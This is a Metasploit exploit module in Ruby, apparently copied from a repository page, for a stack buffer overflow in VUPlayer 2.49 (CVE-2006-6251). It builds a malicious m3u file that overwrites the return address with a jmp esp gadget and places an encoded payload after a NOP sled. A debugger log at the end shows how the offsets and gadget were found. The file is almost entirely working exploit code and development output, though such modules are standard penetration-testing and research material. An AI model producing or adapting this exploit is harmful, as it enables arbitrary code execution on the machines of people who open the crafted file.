90 lines
2.5 KiB
Ruby
90 lines
2.5 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'VUPlayer M3U Buffer Overflow',
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'Description' => %q{
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This module exploits a stack over flow in VUPlayer <= 2.49. When
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the application is used to open a specially crafted m3u file, an buffer is overwritten allowing
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for the execution of arbitrary code.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'MC' ],
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'References' =>
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[
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[ 'CVE', '2006-6251' ],
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[ 'OSVDB', '31710' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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'DisablePayloadHandler' => 'true',
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},
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'Payload' =>
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{
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'Space' => 750,
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'BadChars' => "\x00",
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'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
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'DisableNops' => 'True',
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'VUPlayer 2.49', { 'Ret' => 0x1010539f } ],
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],
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'Privileged' => false,
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'DisclosureDate' => 'Aug 18 2009',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),
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], self.class)
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end
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def exploit
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m3u = rand_text_alpha_upper(2024)
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m3u[1012,4] = [target.ret].pack('V')
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m3u[1016,12] = "\x90" * 12
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m3u[1028,payload.encoded.length] = payload.encoded
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print_status("Creating '#{datastore['FILENAME']}' file ...")
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file_create(m3u)
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end
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end
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=begin
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0:000> r eip
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eip=68423768
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0:000> !pattern_offset 2024
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[Byakugan] Control of ecx at offset 996.
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[Byakugan] Control of ebp at offset 1008.
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[Byakugan] Control of eip at offset 1012.
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0:000> d esp
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0012ef44 39684238 42306942 69423169 33694232 8Bh9Bi0Bi1Bi2Bi3
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0012ef54 42346942 69423569 37694236 42386942 Bi4Bi5Bi6Bi7Bi8B
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0012ef64 6a423969 316a4230 42326a42 6a42336a i9Bj0Bj1Bj2Bj3Bj
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0012ef74 356a4234 42366a42 6a42376a 396a4238 4Bj5Bj6Bj7Bj8Bj9
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0012ef84 42306b42 6b42316b 336b4232 42346b42 Bk0Bk1Bk2Bk3Bk4B
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0012ef94 6b42356b 376b4236 42386b42 6c42396b k5Bk6Bk7Bk8Bk9Bl
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0:000> s -b 0x10100000 0x1010a000 ff e4
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1010539f ff e4 49 10 10 20 05 93-19 01 00 00 00 9c 53 10 ..I.. ........S.
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0:000> u 0x1010539f L1
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BASSWMA!BASSplugin+0xe9a:
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1010539f ffe4 jmp esp
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=end
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